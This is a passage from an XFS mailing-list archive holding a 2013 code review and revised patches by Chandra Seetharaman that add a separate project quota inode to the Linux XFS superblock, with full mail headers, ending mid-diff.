X-Barracuda-Apparent-Source-IP: 32.97.182.137 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from /spool/local by e7.ny.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 11 Jul 2013 21:10:03 -0400 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.182.137] Received: from d01dlp02.pok.ibm.com (9.56.250.167) by e7.ny.us.ibm.com (192.168.1.107) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 11 Jul 2013 21:10:01 -0400 Received: from d01relay03.pok.ibm.com (d01relay03.pok.ibm.com [9.56.227.235]) by d01dlp02.pok.ibm.com (Postfix) with ESMTP id AFAD96E803C for ; Thu, 11 Jul 2013 21:09:55 -0400 (EDT) Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by d01relay03.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6C1A0hA380352 for ; Thu, 11 Jul 2013 21:10:00 -0400 Received: from d01av02.pok.ibm.com (loopback [127.0.0.1]) by d01av02.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6C1A0Yf031381 for ; Thu, 11 Jul 2013 22:10:00 -0300 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d01av02.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6C19xNR031347; Thu, 11 Jul 2013 22:09:59 -0300 Subject: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v11 2/4] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Ben Myers Cc: xfs@oss.sgi.com In-Reply-To: <20130711211610.GC20932@sgi.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-3-git-send-email-sekharan@us.ibm.com> <20130711211610.GC20932@sgi.com> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 11 Jul 2013 20:09:58 -0500 Message-ID: <1373591398.20769.9.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071201-5806-0000-0000-00002208A803 X-Barracuda-Connect: e7.ny.us.ibm.com[32.97.182.137] X-Barracuda-Start-Time: 1373591403 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-11 at 16:16 -0500, Ben Myers wrote: > Hey Chandra, > > On Thu, Jul 11, 2013 at 12:00:41AM -0500, Chandra Seetharaman wrote: > > Start using pquotino and define a macro to check if the > > superblock has pquotino. > > > > Keep backward compatibilty by alowing mount of older superblock > > with no separate pquota inode. > > > > Signed-off-by: Chandra Seetharaman > > Here are a few notes from my review. > > > --- > > fs/xfs/xfs_mount.c | 62 ++++++++++++++++++++++++++++++++++----- > > fs/xfs/xfs_qm.c | 28 +++++++++-------- > > fs/xfs/xfs_qm_syscalls.c | 21 +++++++++++++- > > fs/xfs/xfs_sb.h | 9 +++++- > > fs/xfs/xfs_super.c | 19 ++++++------ > > include/uapi/linux/dqblk_xfs.h | 1 + > > 6 files changed, 108 insertions(+), 32 deletions(-) > > > > diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c > > index 2b0ba35..b8a633b 100644 > > --- a/fs/xfs/xfs_mount.c > > +++ b/fs/xfs/xfs_mount.c > > @@ -336,12 +336,17 @@ xfs_mount_validate_sb( > > return XFS_ERROR(EWRONGFS); > > } > > > > - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && > > - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > > - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { > > - xfs_notice(mp, > > -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); > > - return XFS_ERROR(EFSCORRUPTED); > > + if (xfs_sb_version_has_pquota(sbp)) { > > xfs_sb_version_has_pquotino might be a better name for this. will fix > > > + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { > > + xfs_notice(mp, > > + "Version 5 of Super block has XFS_OQUOTA bits.\n"); > > + return XFS_ERROR(EFSCORRUPTED); > > + } > > If I'm reading that right... Now if you had a v5 super block with oquota > bits it will become unmountable. Could that happen if you were using > crcs and quotas with a 3.10 kernel and then upgrade? yes. My thinking is that v5 (with crc) is still experimental and not supported yet. Not true ? Previously this was being fixed without failing. But, Dave suggested that this certainly would be an inconsistent state and hence need to be failed. I agreed and changed the code. The problem you stated can be fixed by adding functionality to xfs_repair. > > > + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | > > + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { > > + xfs_notice(mp, > > +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); > > + return XFS_ERROR(EFSCORRUPTED); > > } > > > > /* > > @@ -570,8 +575,13 @@ out_unwind: > > } > > > > static void > > -xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > +xfs_sb_quota_from_disk(struct xfs_mount *mp) > > { > > + struct xfs_sb *sbp = &mp->m_sb; > > + > > + if (xfs_sb_version_has_pquota(sbp)) > > + return; > > + > > if (sbp->sb_qflags & XFS_OQUOTA_ENFD) > > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > > XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; > > @@ -579,6 +589,18 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) > > sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? > > XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; > > sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); > > + > > + if (!xfs_sb_version_has_pquota(sbp) && (XFS_IS_PQUOTA_ON(mp))) { > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > I think you already checked for that up above. will fix. > > > + /* > > + * On disk superblock only has sb_gquotino, and incore > > + * superblock has both sb_gquotino and sb_pquotino. > > + * But, only one them is supported at any point of time. > only one of them > > > + * So, if PQUOTA is set in disk superblock, copy over > > + * sb_gquotino to sb_pquotino. > > + */ > > + mp->m_sb.sb_pquotino = mp->m_sb.sb_gquotino; > > + mp->m_sb.sb_gquotino = NULLFSINO; > > + } > > } > > > > void > > @@ -650,6 +672,13 @@ xfs_sb_quota_to_disk( > > { > > __uint16_t qflags = from->sb_qflags; > > > > + /* > > + * We need to do these manipilations only if we are working > > + * with an older version of on-disk superblock. > > + */ > > + if (xfs_sb_version_has_pquota(from)) > > + return; > > + > > if (*fields & XFS_SB_QFLAGS) { > > /* > > * The in-core version of sb_qflags do not have > > @@ -669,6 +698,23 @@ xfs_sb_quota_to_disk( > > to->sb_qflags = cpu_to_be16(qflags); > > *fields &= ~XFS_SB_QFLAGS; > > } > > + > > + if (*fields & XFS_SB_PQUOTINO && *fields & XFS_SB_GQUOTINO) { > > + /* > > + * PQUOTINO and GQUOTINO cannot be used together in versions > > + * of superblock that do not have pquotino. If used, use > > + * sb_flags to resolve which one should be set. > > + */ > > + if (from->sb_qflags & XFS_PQUOTA_ACCT) > > + *fields &= ~XFS_SB_GQUOTINO; > > + else > > + *fields &= ~XFS_SB_PQUOTINO; > > + } > > + > > + if (*fields & XFS_SB_PQUOTINO) { > > + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); > > + *fields &= ~XFS_SB_PQUOTINO; > > + } > > } > > > > /* > > @@ -885,7 +931,7 @@ reread: > > */ > > xfs_sb_from_disk(&mp->m_sb, XFS_BUF_TO_SBP(bp)); > > > > - xfs_sb_quota_from_disk(&mp->m_sb); > > + xfs_sb_quota_from_disk(mp); > > /* > > * We must be able to do sector-sized and sector-aligned IO. > > */ > > diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c > > index d320794..ba12dc4 100644 > > --- a/fs/xfs/xfs_qm.c > > +++ b/fs/xfs/xfs_qm.c > > @@ -860,21 +860,24 @@ xfs_qm_qino_alloc( > > if (flags & XFS_QMOPT_SBVERSION) { > > ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); > > ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == > > - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); > > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == > > + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)); > ^^^^^^^^^^^^^^^^ > Looks like some unwanted spaces in there. will fix > > > xfs_sb_version_addquota(&mp->m_sb); > > mp->m_sb.sb_uquotino = NULLFSINO; > > mp->m_sb.sb_gquotino = NULLFSINO; > > + mp->m_sb.sb_pquotino = NULLFSINO; > > > > - /* qflags will get updated _after_ quotacheck */ > > - mp->m_sb.sb_qflags = 0; > > + /* qflags will get updated fully _after_ quotacheck */ > > + mp->m_sb.sb_qflags = mp->m_qflags & XFS_ALL_QUOTA_ACCT; > > I didn't quite catch why you changed from 0 to ALL_QUOTA_ACCT here, will > take another look. We wanted to move all (well, almost all :) the logic of managing PQUOTINO/GQUOTINO in older superblock in just the two functions xfs_sb_quota_to/from_disk(). In order to do that I had to use sb_qflags (you can see that in xfs_sb_quota_to_disk()). So, we have to have sb_qflags valid before we try to write these fields to the disk. Hence this change. > > > } > > if (flags & XFS_QMOPT_UQUOTA) > > mp->m_sb.sb_uquotino = (*ip)->i_ino; > > - else > > + else if (flags & XFS_QMOPT_GQUOTA) > > mp->m_sb.sb_gquotino = (*ip)->i_ino; > > + else > > + mp->m_sb.sb_pquotino = (*ip)->i_ino; > > spin_unlock(&mp->m_sb_lock); > > xfs_mod_sb(tp, sbfields); > > > > @@ -1484,11 +1487,10 @@ xfs_qm_init_quotainos( > > if (error) > > goto error_rele; > > } > > - /* XXX: Use gquotino for now */ > > if (XFS_IS_PQUOTA_ON(mp) && > > - mp->m_sb.sb_gquotino != NULLFSINO) { > > - ASSERT(mp->m_sb.sb_gquotino > 0); > > - error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, > > + mp->m_sb.sb_pquotino != NULLFSINO) { > > + ASSERT(mp->m_sb.sb_pquotino > 0); > > + error = xfs_iget(mp, NULL, mp->m_sb.sb_pquotino, > > 0, 0, &pip); > > if (error) > > goto error_rele; > > @@ -1496,7 +1498,8 @@ xfs_qm_init_quotainos( > > } else { > > flags |= XFS_QMOPT_SBVERSION; > > sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | > > - XFS_SB_GQUOTINO | XFS_SB_QFLAGS); > > + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | > > + XFS_SB_QFLAGS); > > } > > > > /* > > @@ -1524,9 +1527,8 @@ xfs_qm_init_quotainos( > > flags &= ~XFS_QMOPT_SBVERSION; > > } > > if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { > > - /* XXX: Use XFS_SB_GQUOTINO for now */ > > error = xfs_qm_qino_alloc(mp, &pip, > > - sbflags | XFS_SB_GQUOTINO, > > + sbflags | XFS_SB_PQUOTINO, > > flags | XFS_QMOPT_PQUOTA); > > if (error) > > goto error_rele; > > diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c > > index e4f8b2d..132e811 100644 > > --- a/fs/xfs/xfs_qm_syscalls.c > > +++ b/fs/xfs/xfs_qm_syscalls.c > > @@ -296,8 +296,10 @@ xfs_qm_scall_trunc_qfiles( > > > > if (flags & XFS_DQ_USER) > > error = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_uquotino); > > - if (flags & (XFS_DQ_GROUP|XFS_DQ_PROJ)) > > + if (flags & XFS_DQ_GROUP) > > error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_gquotino); > > + if (flags & XFS_DQ_PROJ) > > + error2 = xfs_qm_scall_trunc_qfile(mp, mp->m_sb.sb_pquotino); > > > > return error ? error : error2; > > } > > @@ -413,8 +415,10 @@ xfs_qm_scall_getqstat( > > As we discussed on the call: Now that you've decided to write a new > interface for this, you can be really light touch here in > xfs_qm_scall_getqstat(). The new macro in dqblk_xfs.h can also go away. yes > > Looking good. > > Regards, > Ben > From sekharan@us.ibm.com Thu Jul 11 20:47:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 157AA7F37 for ; Thu, 11 Jul 2013 20:47:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 00D73304051 for ; Thu, 11 Jul 2013 18:47:52 -0700 (PDT) X-ASG-Debug-ID: 1373593671-04cb6c2a46b81490001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id s0kHfYeYDSrHuWgD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 18:47:52 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 11 Jul 2013 19:47:51 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 11 Jul 2013 19:47:47 -0600 Received: from d03relay01.boulder.ibm.com (d03relay01.boulder.ibm.com [9.17.195.226]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id CE45F19D8041 for ; Thu, 11 Jul 2013 19:47:36 -0600 (MDT) Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169]) by d03relay01.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6C1ll6t122276 for ; Thu, 11 Jul 2013 19:47:47 -0600 Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6C1lkr9006626 for ; Thu, 11 Jul 2013 19:47:46 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av03.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6C1lkAI006610 for ; Thu, 11 Jul 2013 19:47:46 -0600 Subject: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Initialize all quota inodes to be NULLFSINO Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 11 Jul 2013 20:47:45 -0500 Message-ID: <1373593665.20769.10.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071201-7606-0000-0000-00000D409704 X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1373593672 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 mkfs doesn't initialize the quota inodes to NULLFSINO as it does for the other internal inodes. This leads to check for two values (0 and NULLFSINO) to make sure if a quota inode is valid. Solve that problem by initializing the values to NULLFSINO if they are 0. Note that these values are not written back to on-disk superblock unless some quota is enabled on the filesystem. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_mount.c | 12 ++++++++++++ 1 files changed, 12 insertions(+), 0 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 2b0ba35..8b95933 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -572,6 +572,18 @@ out_unwind: static void xfs_sb_quota_from_disk(struct xfs_sb *sbp) { + /* + * older mkfs doesn't initialize quota inodes to NULLFSINO, + * which leads to two values for a quota inode to be invalid: + * 0 and NULLFSINO. Fix it. + */ + if (sbp->sb_uquotino == 0) + sbp->sb_uquotino = NULLFSINO; + if (sbp->sb_gquotino == 0) + sbp->sb_gquotino = NULLFSINO; + if (sbp->sb_pquotino == 0) + sbp->sb_pquotino = NULLFSINO; + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; -- 1.7.1 From sekharan@us.ibm.com Thu Jul 11 20:48:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E76C7F37 for ; Thu, 11 Jul 2013 20:48:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 195118F8039 for ; Thu, 11 Jul 2013 18:48:33 -0700 (PDT) X-ASG-Debug-ID: 1373593711-04cb6c2a41b81500001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id w6TXdQIFGysiGDIx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 18:48:32 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 11 Jul 2013 19:48:31 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 11 Jul 2013 19:48:29 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 42EAB19D8036 for ; Thu, 11 Jul 2013 19:48:18 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6C1mSh5157018 for ; Thu, 11 Jul 2013 19:48:28 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6C1mSsO019776 for ; Thu, 11 Jul 2013 19:48:28 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6C1mSIk019762 for ; Thu, 11 Jul 2013 19:48:28 -0600 Subject: [PATCH] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: [PATCH] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: XFS mailing list Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Thu, 11 Jul 2013 20:48:27 -0500 Message-ID: <1373593707.20769.11.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071201-3620-0000-0000-0000037DD2F4 X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1373593711 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Changes from version v11: - Moved code as suggested by Dave - Replaced the parameter to xfs_sb_quota_from_disk from xfs_mount to xfs_sb as suggester by Dave. This lead to additional changes to xfs_qm_qino_alloc() to handle the reuse of pquotino/gquotino if it was switched by user between mounts. - Addressed all of Ben's concerns - removed the changes need for fs_quota_stat changes as that change is being delayed. ---------------------- Start using pquotino and define a macro to check if the superblock has pquotino. Keep backward compatibilty by alowing mount of older superblock with no separate pquota inode. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_mount.c | 59 ++++++++++++++++++++++++++++++++----- fs/xfs/xfs_qm.c | 72 ++++++++++++++++++++++++++++++++++----------- fs/xfs/xfs_qm_syscalls.c | 30 ++++++++++++++++++- fs/xfs/xfs_sb.h | 13 ++++++-- fs/xfs/xfs_super.c | 19 ++++++------ 5 files changed, 154 insertions(+), 39 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 8b95933..e177511 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -336,14 +336,6 @@ xfs_mount_validate_sb( return XFS_ERROR(EWRONGFS); } - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_notice(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); - } - /* * Version 5 superblock feature mask validation. Reject combinations the * kernel cannot support up front before checking anything else. For @@ -387,6 +379,19 @@ xfs_mount_validate_sb( } } + if (xfs_sb_version_has_pquotino(sbp)) { + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { + xfs_notice(mp, + "Version 5 of Super block has XFS_OQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { + xfs_notice(mp, +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + if (unlikely( sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { xfs_warn(mp, @@ -584,6 +589,9 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) if (sbp->sb_pquotino == 0) sbp->sb_pquotino = NULLFSINO; + if (xfs_sb_version_has_pquotino(sbp)) + return; + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; @@ -591,6 +599,19 @@ xfs_sb_quota_from_disk(struct xfs_sb *sbp) sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if ((sbp->sb_qflags & XFS_PQUOTA_ACCT) && + (sbp->sb_gquotino != NULLFSINO)) { + /* + * On disk superblock only has sb_gquotino, and incore + * superblock has both sb_gquotino and sb_pquotino. + * But, only one of them is supported at any point of time. + * So, if PQUOTA is set in disk superblock, copy over + * sb_gquotino to sb_pquotino. + */ + sbp->sb_pquotino = sbp->sb_gquotino; + sbp->sb_gquotino = NULLFSINO; + } } void @@ -662,6 +683,13 @@ xfs_sb_quota_to_disk( { __uint16_t qflags = from->sb_qflags; + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(from)) + return; + if (*fields & XFS_SB_QFLAGS) { /* * The in-core version of sb_qflags do not have @@ -681,6 +709,21 @@ xfs_sb_quota_to_disk( to->sb_qflags = cpu_to_be16(qflags); *fields &= ~XFS_SB_QFLAGS; } + + /* + * GQUOTINO and PQUOTINO cannot be used together in versions + * of superblock that do not have pquotino. from->sb_flags + * tells us which quota is active and should be copied to + * disk. + */ + if ((*fields & XFS_SB_GQUOTINO) && + (from->sb_qflags & XFS_GQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_gquotino); + else if ((*fields & XFS_SB_PQUOTINO) && + (from->sb_qflags & XFS_PQUOTA_ACCT)) + to->sb_gquotino = cpu_to_be64(from->sb_pquotino); + + *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); } /* diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index d320794..1e2361d 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -834,6 +834,36 @@ xfs_qm_qino_alloc( int error; int committed; + *ip = NULL; + /* + * With superblock that doesn't have separate pquotino, we + * share an inode between gquota and pquota. If the on-disk + * superblock has GQUOTA and the filesystem is now mounted + * with PQUOTA, just use sb_gquotino for sb_pquotino and + * vice-versa. + */ + if (!xfs_sb_version_has_pquotino(&mp->m_sb) && + (flags & (XFS_QMOPT_PQUOTA|XFS_QMOPT_GQUOTA))) { + xfs_ino_t ino = NULLFSINO; + + if ((flags & XFS_QMOPT_PQUOTA) && + (mp->m_sb.sb_gquotino != NULLFSINO)) { + ino = mp->m_sb.sb_gquotino; + ASSERT(mp->m_sb.sb_pquotino == NULLFSINO); + } else if ((flags & XFS_QMOPT_GQUOTA) && + (mp->m_sb.sb_pquotino != NULLFSINO)) { + ino = mp->m_sb.sb_pquotino; + ASSERT(mp->m_sb.sb_gquotino == NULLFSINO); + } + if (ino != NULLFSINO) { + error = xfs_iget(mp, NULL, ino, 0, 0, ip); + if (error) + return error; + mp->m_sb.sb_gquotino = NULLFSINO; + mp->m_sb.sb_pquotino = NULLFSINO; + } + } + tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QINOCREATE); if ((error = xfs_trans_reserve(tp, XFS_QM_QINOCREATE_SPACE_RES(mp), @@ -844,11 +874,14 @@ xfs_qm_qino_alloc( return error; } - error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, &committed); - if (error) { - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | - XFS_TRANS_ABORT); - return error; + if (!*ip) { + error = xfs_dir_ialloc(&tp, NULL, S_IFREG, 1, 0, 0, 1, ip, + &committed); + if (error) { + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | + XFS_TRANS_ABORT); + return error; + } } /* @@ -860,21 +893,25 @@ xfs_qm_qino_alloc( if (flags & XFS_QMOPT_SBVERSION) { ASSERT(!xfs_sb_version_hasquota(&mp->m_sb)); ASSERT((sbfields & (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)) == - (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | - XFS_SB_GQUOTINO | XFS_SB_QFLAGS)); + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | XFS_SB_QFLAGS)) == + (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | + XFS_SB_GQUOTINO | XFS_SB_PQUOTINO | + XFS_SB_QFLAGS)); xfs_sb_version_addquota(&mp->m_sb); mp->m_sb.sb_uquotino = NULLFSINO; mp->m_sb.sb_gquotino = NULLFSINO; + mp->m_sb.sb_pquotino = NULLFSINO; - /* qflags will get updated _after_ quotacheck */ - mp->m_sb.sb_qflags = 0; + /* qflags will get updated fully _after_ quotacheck */ + mp->m_sb.sb_qflags = mp->m_qflags & 